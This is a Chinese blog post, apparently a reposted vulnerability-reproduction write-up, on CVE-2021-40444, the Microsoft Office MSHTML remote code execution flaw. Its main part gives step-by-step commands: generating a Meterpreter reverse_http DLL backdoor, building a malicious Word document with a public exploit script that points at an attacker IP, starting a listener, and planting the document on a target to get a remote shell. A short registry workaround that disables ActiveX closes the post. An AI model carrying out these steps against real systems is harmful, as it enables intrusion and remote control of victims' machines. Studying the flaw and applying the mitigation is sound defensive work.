【漏洞复现】Microsoft文档CVE-2021-40444

admin 2022年1月10日03:33:35评论106 views字数 1218阅读4分3秒阅读模式

前言

  • 恶意 docx 生成器利用 CVE-2021-40444(Microsoft Office Word 远程代码执行)

测试环境

  • windows 10
  • Office 2019word
  • kali

简单复现exp方法

一、这个需要一个依赖lcab

1
apt-get install lcab

二、这个exp中是利用dll的,所以我们生成一个后门,这里用80以外的端口就行

1
2
3
4
use payload/windows/x64/meterpreter/reverse_http

接着生成为dll形式
generate -f dll -o http.dll

image-20210916183359206

三、exp生成攻击word文档

1
python3 exploit.py generate http.dll http://192.168.1.104

image-20210916174436033

四、接着在你kali上使用exp来监听mhtml会访问的80端口

image-20210916180330837

五、msf使用下面命令监听,然后将out/document.docx文件放入目标机中运行就成功上线了

1
handler -x -H 192.168.1.104 -P 8080 -p windows/x64/meterpreter/reverse_http

image-20210916182549483

临时解决方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
创建一个reg文件,输入以下内容并且执行

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1001"=dword:00000003
"1004"=dword:00000003

explit下载

https://github.com/lockedbyte/CVE-2021-40444

我的个人博客

孤桜懶契:http://gylq.gitee.io

FROM:gylq.gitee Author:孤桜懶契

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日03:33:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Microsoft文档CVE-2021-40444http://cn-sec.com/archives/730021.html

发表评论

匿名网友 填写信息